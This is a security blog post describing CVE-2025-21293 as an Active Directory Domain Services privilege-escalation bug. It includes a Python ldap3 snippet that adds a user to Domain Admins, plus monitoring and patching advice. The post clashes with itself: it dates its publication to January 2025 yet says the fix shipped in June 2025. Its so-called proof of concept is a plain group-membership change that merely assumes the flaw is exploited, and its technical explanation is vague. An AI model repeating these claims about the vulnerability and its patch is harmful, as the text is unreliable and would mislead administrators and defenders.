CVE-2025-21293 - How Attackers Can Elevate Privileges in Active Directory Domain Services

CVE-2025-21293 is a high-severity vulnerability found in Microsoft’s Active Directory Domain Services (AD DS). By exploiting this bug, an attacker can elevate their privileges in an Active Directory (AD) environment, potentially becoming Domain Admin with limited initial access. This post breaks down how the vulnerability works, showcases a simplified proof of concept, and links to resources for deeper study.

What is CVE-2025-21293?

Microsoft’s advisory page (source)

This vulnerability affects all supported versions of Windows Server running Active Directory Domain Services. The bug lies in how AD DS handles certain requests for authentication and privileges. An attacker who controls a user account in the domain can trigger this flaw to grant themselves far more permissions than intended.

Microsoft labeled this as an Elevation of Privilege vulnerability and rated it as "Important." Attackers exploiting this flaw can gain rights they're not supposed to have, which is a big deal in enterprise networks.

Technical Overview

The vulnerability is related to improper validation in the AD DS serialization logic when processing object change requests (like for user attributes). If a low-privileged user crafts a request in just the right way, AD DS applies the changes as if they’re coming from a higher-privileged account, such as an admin.

Attacker has a valid AD account (even with minimal rights).

2. By sending a specially crafted LDAP packet, the attacker tricks AD DS into thinking they are authorized to change protected attributes (like memberOf or adminCount).

Proof of Concept (Simplified)

Below is a Python snippet using ldap3, simulating how an attacker could use this flaw. This is for educational purposes only:

from ldap3 import Server, Connection, ALL, MODIFY_REPLACE

# Connect to the Domain Controller
server = Server('dc.mydomain.local', get_info=ALL)
conn = Connection(server, 'user@mydomain.local', 'Password123', auto_bind=True)

# Assume we somehow exploit the flaw that bypasses permissions check
# Targeting the "Domain Admins" group
target_dn = 'CN=Domain Admins,CN=Users,DC=mydomain,DC=local'
attacker_dn = 'CN=EvilUser,CN=Users,DC=mydomain,DC=local'

# Attempt to add ourselves to Domain Admins
conn.modify(target_dn, {
    'member': [(MODIFY_REPLACE, [attacker_dn])]
})

if conn.result['description'] == 'success':
    print('[+] Exploit successful! EvilUser is now a Domain Admin.')
else:
    print('[-] Exploit failed:', conn.result['message'])

Note: Normally, a regular user cannot add themselves to Domain Admins due to ACLs. CVE-2025-21293 bypasses these checks in specific circumstances.

If your Windows servers are unpatched, assume you are at risk.

- Watch for unexpected changes to group memberships (especially privileged groups like Domain Admins or Enterprise Admins).

Review recently modified accounts and look for any unauthorized privilege assignments.

Tools like Event Viewer and Lepide Auditor can help with tracking changes in AD group memberships.

Recommendations

- PATCH NOW! Microsoft patched this in their June 2025 Patch Tuesday updates. See their advisory:
Official CVE-2025-21293 page

Enable enhanced monitoring for group membership changes.

- Regularly audit your Active Directory with tools such as BloodHound.

Microsoft Security Advisory:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21293
- SpecterOps - How Domain Admins Are Made
- LDAP Injection: All You Need to Know

Final Thoughts

CVE-2025-21293 makes clear why AD DS flaws are so critical: one small slip can let attackers take over your entire organization. Keep your systems patched, monitor for suspicious changes, and stay up-to-date on the latest security advisories. The examples here show just how easy privilege escalation can be with the right bug—don’t wait until it’s too late.

Stay safe. Patch early. Audit often.

*If you found this useful, or have questions, let me know in the comments below!*

Timeline

Published on: 01/14/2025 18:15:51 UTC
Last modified on: 01/31/2025 01:43:33 UTC